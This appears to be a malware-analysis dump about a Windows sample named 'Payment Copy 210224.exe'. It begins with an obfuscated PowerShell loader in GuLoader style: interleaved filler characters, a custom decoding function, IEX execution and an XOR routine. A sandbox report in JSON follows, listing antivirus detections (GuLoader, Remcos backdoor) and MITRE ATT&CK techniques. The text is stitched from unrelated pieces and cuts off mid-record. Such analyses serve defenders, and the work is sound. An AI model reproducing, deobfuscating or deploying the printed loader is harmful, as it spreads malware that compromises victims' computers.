Hp tpAne pl GiShn HsBotRiaInnBesOs\anC CiArtPerAroCan Ss FoSumSgmAneAlrDafSou Ng DlRoeManEkeTo\UnV SaCoa ZbGoeSlnSybSeeTrsIbiDudBydideSul AsadeCh\waFArdNoslreRhl osUno DvPheMdrAbsHokOvuRiduddDieDitEn2Op4Ta6Ha\FiH UoPom TomisBoeRekFisGauvaaHalReiElsBomReeWa\ FF Hr HeBam SlNeeKrjCaeNotEc.HeKUllAgeSp`"""Or;Gr`$HuBTraShd Se IoUdmTrrGuaPeaLadMie AtIn9Wa an= S RaNHao Sn OsFoc SrCouSytAviGlnOpiSceKasSu4Ov Sa'HyCToCReAInAVa8 G9 H8HjCMi8UnDKe8Sh7Ku8Se5 S9AfAAl8Pr9Sp8Pi9Ec8ceCDi8prD F9DrCLiCFi8 LDSt5SkCDo8DaB A3AfBMoB S9 H1Me9OfBPe9SuC C8 PDDe8va5BuCTa6NeALj1FoAYn7 LCca6 SAFyECl8hy1Ar8Ru4Se8epDDoB a5BiDMa2ErDSy2RoB BAAs8BfDmr8 C9Ou8ToCPaAUn9Ki8Tw4Ho8Un4ChA LAMa9St1In9KrC F8 LDSu9 sBPrC R0faC JCfiBReCAs9klASa8Ku9Fr8Sk6Ho9fuBHu8UdCDe8PrD U9FoB L8VaD D9UnAOs9BeCDuD AAMiCPa1Pa'st;Su&Gr(Un`$LaSTrlbreAspReeElz a7fr) C Br`$ZaBMiaDkdFoeVaoaumAlrOvaLeaOudsteUntEx9 P; D`$ pTDurKru CsSpsFlePrlFisNe0Va Hy=be DNSaoPrnkosHncOtrMiuVotRei KnPlihaeEcs b4Ri I'WaBFe3 TBSoBBr9Un1Al9BrBTa9GrCKo8QuDFi8 L5LoC N6GeBFoAEk9GeDUr8Ps6Ph9AuCBl8 B1Se8Sp5In8StD ICRe6TcA V1 F8Sj6 K9rvCAg8NaDRa9AnAEd8Bi7Ve9Un8PhBFaBLa8FaDBa9InASn9InENe8Fi1 E8ClBfi8NaDPr9BeBStCAf6 aAAf5Fi8 D9re9UbAFo9HyB D8 M0Wa8 m9To8Mu4 DBSv5UnDCa2DaDPr2PoAUnB B8Pa7La9Me8Ex9Af1UdC p0LuCNaCMuAInA H8 F9Oi8 mCMo8HaDSh8Bl7ba8 R5Di9BoASa8No9 V8Ex9 K8GeCSk8 kDMl9ReC DCEx4HeC K8StDMiCTrDTo8ViDBeAReDKaCToC D4BeCAf8urCPa8DeC KCOxBKeCSk9NeAVa8Ps9pa8Sy6Co9SuBSk8 LCim8ImDNo9OvBCe8SkDAf9GeAKi9StCClDUpBFiCSi4baCAt8SiD AEMuDyeBSmDslESkCCo1 T'el;bi&Co(Ti`$ TSNulVaeBepNeeSpzEn7Op)Sa I`$TyTKnrUdu CsBlsFoeInlAnsDi0Ma; B`$grS OaSunLasLinTriSun SgCusAs=La`$DoBUtaTtd ReWio ImRorCia daTodJoeDotMi. Sc SoGeu FnPotPh- S6 L3Hr6Me-Po4Ra0Ur2Ke4Mi; R`$ScTDarPrutesTasUnekalHes N1 B Ba=Ar CoNBio NnmoskecEnr UuBit Pi EnLeiSkeCisSa4Va Re'tiBCl3EnBGlB L9 G1Un9AuBRe9UdCSv8MoDSi8Sa5BrCBe6HaB NA G9 HDPa8Re6Si9FoCIn8He1Ar8 G5st8MeDPrCun6UnAIn1 S8Co6Af9MeCSk8RiDil9 PAek8Au7si9Sc8PaBPlB C8ExDDo9BiAfo9SpESu8No1Po8 EBfl8UdD k9 GBfeC U6 OAAn5Cu8 T9 S9PeAHi9HyBPa8Ga0Ed8Co9He8Ud4 SBSh5CoD U2FaDDe2 TAUnBLa8 T7Pr9Ch8Br9un1VeCPo0 DCExC TA UAho8Bo9 c8GeCZe8 CD S8 I7Ex8Cu5Di9StAch8Di9Fl8Gr9No8LoCTe8OpDMi9poC CCKo4JuCSm8UtDBeEUnDPoBKiDauE SCFd3 RDOrCNeDCo8EqDgaATrDUdCHiCKa4InC C8BeCAnCRvAPoEfr9HaASj8in3 D8fo3Ba8SpD S9IbAKu9CaCPe8 TDSk8Mi6RiCSt4 ACSh8 HCChC NBOdBaf8Co9Wa8Mi6Sy9 gBSt8 r6Su8Ad1Ex8La6Af8MaFWe9NyBSgCHe1Ka' V;Co&Un(ti`$SkSTilSpeCepDee AzTi7Kv) D Wo`$QuTMorDeuMasUssBeeFolNysRe1Fj;Co`$BuTPrrExuMisBusHaeEnlInsLe2sq Te=Tw InNSuoNen LsCecPrr LuMotPoiSunHdiSueHysIn4be R'stC VC FACoCFr8Fr9Ud8UnFma8LoBSn8 SDNe8Ko6Re9reCTa9 KAUn8TvDSi9BeC S9guB HCBo8StDDe5SeCEk8 FBdr3DeBirBAr9Wi1St9AnBSu9MaCCe8 NDBe8 U5PaC i6FrBbaAIm9ErDBe8Bo6 S9ChCHy8Ca1To8 S5Is8NoDXyC A6TuAWi1Sk8Tr6Ba9LeCIn8 UDRe9FeA P8Br7Pl9An8DeBFiBMa8UnDEf9SiATo9 SESc8Pl1In8CaBMi8DeDTv9rvBCoCUd6SiAOx5Ch8Hj9Ne9 JATr9JiBBi8Un0Sc8Tr9Vo8An4 kB A5 IDKa2AmDDr2OvA CFre8FiDRe9OvCFdASpCha8UdDFl8 M4Un8GaDSl8ReFCo8 A9ap9StCSe8 IDStA UE s8Ha7Bu9 KASmAJoEPa9CaDCl8Pl6Mo8MaBTi9 AC G8Pl1ic8Su7Fo8 V6CoBSa8 H8Fl7St8Ov1Bo8Si6Ba9 KCHf8SaDGa9KoA GCmn0MeCDo0Ud8PrEEn8 I3Zu9Ge8TvCun8tjCMiCclBCh8Bu8pi4wh8 V9Ta8Be6Ar8SuDex9BeADr8NoDVi9SmBDrDTe9InD vFkaDnoFSoCRe8AnCstCViAHoCNa9AnDEx8Ba9En8Ut4Sk8Ag1Bl9 ACSa8OvDHj9TrCCh9LdBUnCBi1UsC L4HeCBa8TeCEl0OvADeFPrAEuCTaBYeCPrCUd8SeAsa8UnCRe0UdB R3 SAMa1Cl8Ag6se9 ECtaB S8sh9SlCPs9BeAAmBDe5plCVa4PhC N8SpBSa3FoA G1Mi8Fo6We9IlC DBMi8Di9BaCFo9ToATjBMo5UpC W4EkCIs8AlBNe3 RAEr1Ba8Pl6Tr9LiC TB U8Di9udCBe9TrABlBMa5HyCBa4IrCCe8poBro3HeAAd1St8Pr6Pa9skCsuBte8El9PrCEk9HaAYeBAl5SkC E4AfC P8 SB n3opABe1Th8La6Ev9InCSmBVi8 K9HeC P9CaAHaB D5 DC S1DeCTr8SpCfo0HeBGa3HeASt1Me8Tr6 A9SrCTeB P8an9CeC G9 FABeB i5FiC U1NoC R1 vCDo1Be' S; C&St(Du`$ReSEnlAfeFopFeeEmzKn7Ma)Ay H`$unT Sr SuUhsJosAue tl FsSe2Ex; A`$ UTanrSuuKls As BeKnl FsSv3Le T=Li KaN SobonCusOmcFrrCluAgtRuiBanCoiBeeResJo4 S De'StC SCudAChCUn8St9No8ChFBo8SuBHe8 BDHy8fa6Op9 UCPe9VeAHy8BaDBo9FrC F9unBAsCSe6spAOv1Un8 B6Fo9FoE r8In7Mi8Az3Sa8 KDBaCCo0UsCBrCraBSkCMi9MoAje8Ja9Un8Gl6Cu9SaBPo8FoCVa8ViD M9biBud8MiDLi9SvA a9PrCFoDSpB CC J4LoCOpC BAInETi9 CA I8 C3Pe8 F3Aa8peDVo9TuARe9LoCPi8FiDHy8Sk6TiCBu4 DCDiC CAStBun9UrDCo9 U8Vi9BrADu8Sk7 A8AsAlu8Co1Ne9noBOb8Pr5Mu9 MDSl9IsCEg8Sy1El9 ECLi8InDGlCNo4OcDHj8KnCMa4 SDUn8EnCKa1 M'Re;Ce&Ph(Ti`$ImS ClfreInpPeeKlzPa7sl)He Cy`$IsT Tr Fu SsIoslaeMal NsTh3Ku#Ma;""";<#Sparers Tordenvejr Basigamy #>;;function xorami ($Advokatsekretren,$Administrational) {&$Tankpasserens430 (Trussels9 'No$ToAKldKrvSpoAuk IaHetGasVieLakDarFoeFet PrMgeEtnCa Ig-BobToxBroemrUd Re$ThATrdAem MiMenHeiTes It CrSyaoutexiPlounnSkaTulJo ');}Function Trussels9 { param([String]$Kloakkerne);<#Hejrens detaillisterne Oilcoat Topiarist Stereognostic Ballyrags #>;For($Advokatsekretrenflserens234=2; $Advokatsekretrenflserens234 -lt $Kloakkerne.Length-1; $Advokatsekretrenflserens234+=(2+1+(1-1))){<#Herrerkkers Skrsild Physaria Hydrastine #>;$Landlock+=$Kloakkerne.Substring($Advokatsekretrenflserens234, 1)}$Landlock;};;$Tankpasserens430 = Trussels9 ' RIGaE BXVi ';$Tankpasserens431= Trussels9 $Durbar;&$Tankpasserens430 $Tankpasserens431;<#Legitimatizing Frstesalen Rullemadrassens #>;" = cat C:\Users\HAPUBWS\AppData\Local\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes\Androidal.Sub1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791111220127,"unified_at":"2026-10-04T10:53:40.127Z","metadata":{"hashes":{"sha256":"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","sha1":"17ff282eb5bfa872d306dc0e211a7ef52def5aac","md5":"322f36591bb4086b164d6f3214bbfbb1","sha512":"76a989898746bf68d560c14dd5b10ed454501cbc8d15996a4f662e2cafd47b0f550a86543451e3c54da29dbd55372f236ff24f03d4f983b4505cae3211ef594a","ssdeep":"12288:pg0S0MkekcoIqxSTqzyCBIa+CLHKtgiSQfd1E:7S0MkhcKxSTR8jKVf8","ssdeep_chunks":["12288:pg0S0Mk","12288:g0S0Mke","12288:0S0Mkek","12288:S0Mkekc","12288:0Mkekco","12288:MkekcoI","12288:kekcoIq","12288:ekcoIqx","12288:kcoIqxS","12288:coIqxST","12288:oIqxSTq","12288:IqxSTqz","12288:qxSTqzy","12288:xSTqzyC","12288:STqzyCB","12288:TqzyCBI","12288:qzyCBIa","12288:zyCBIa+","12288:yCBIa+C","12288:CBIa+CL","12288:BIa+CLH","12288:Ia+CLHK","12288:a+CLHKt","12288:+CLHKtg","12288:CLHKtgi","12288:LHKtgiS","12288:HKtgiSQ","12288:KtgiSQf","12288:tgiSQfd","12288:giSQfd1","12288:iSQfd1E","24576:pg0S0Mk","24576:g0S0Mke","24576:0S0Mkek","24576:S0Mkekc","24576:0Mkekco","24576:MkekcoI","24576:kekcoIq","24576:ekcoIqx","24576:kcoIqxS","24576:coIqxST","24576:oIqxSTq","24576:IqxSTqz","24576:qxSTqzy","24576:xSTqzyC","24576:STqzyCB","24576:TqzyCBI","24576:qzyCBIa","24576:zyCBIa+","24576:yCBIa+C","24576:CBIa+CL","24576:BIa+CLH","24576:Ia+CLHK","24576:a+CLHKt","24576:+CLHKtg","24576:CLHKtgi","24576:LHKtgiS","24576:HKtgiSQ","24576:KtgiSQf","24576:tgiSQfd","24576:giSQfd1","24576:iSQfd1E","12288:7S0Mkhc","12288:S0MkhcK","12288:0MkhcKx","12288:MkhcKxS","12288:khcKxST","12288:hcKxSTR","12288:cKxSTR8","12288:KxSTR8j","12288:xSTR8jK","12288:STR8jKV","12288:TR8jKVf","12288:R8jKVf8"],"imphash":"3abe302b6d9a1256e6a915429af4ffd2","pehash":"73fe2db81da2a9249296bdc843a6e8b27604980d"},"file_info":{"file_name":"Payment Copy 210224.exe","file_type":["compressed","7zip"],"file_type_id":"7zip nsis","file_size":554743,"entropy":7.92,"compile_timestamp":"2017-08-01T00:34:02","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1708587073000,"last_seen":1787888729000,"last_multi_scan":1787888729000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":5,"import_count":0,"export_count":0,"embedded_file_count":11,"sections":[{"name":".text","virtual_address":"0x1000","virtual_size":25172,"raw_size":25600},{"name":".rdata","virtual_address":"0x8000","virtual_size":4948,"raw_size":5120},{"name":".data","virtual_address":"0xa000","virtual_size":152856,"raw_size":1536},{"name":".ndata","virtual_address":"0x30000","virtual_size":212992},{"name":".rsrc","virtual_address":"0x64000","virtual_size":99280,"raw_size":99328}],"section_names":[".text",".rdata",".data",".ndata",".rsrc"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["windows-server-utility"]},"stats":{"av":{"malicious_count":11,"suspicious_count":0,"total_engines":23},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":89},"sandbox_signatures":{"informative_count":245,"suspicious_count":27,"malicious_count":4,"total":276},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.GuLoader","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Generic.35297142","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_GuLoader","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Generic.35297142 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"malicious","threat_name":"Adware.Dotdo.Z.lokq","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Backdoor ( 005ce3801 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Injector.EFFS-4903","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.NSISDrp.CHNA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Backdoor.Remcos.Win32.7079","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to execute an application (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"suspicious","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"suspicious","value":"Modifies Software Policy Settings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Privilege Escalation","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"suspicious","value":"Found system commands related strings"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads the cryptographic machine GUID"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"PE file contains zero-size sections"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"suspicious","value":"Invokes a process with a long commandline"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"suspicious","value":"Process spawned with a very long commandline"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Queries kernel debugger information"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"suspicious","value":"Queries process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"suspicious","value":"Uses powershell with a windows hidden commandline param"},{"type":"suspicious","value":"Uses PowerShell with a Windows hidden command line parameter"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Connects to LPC ports"},{"type":"informative","value":"Found named pipe like 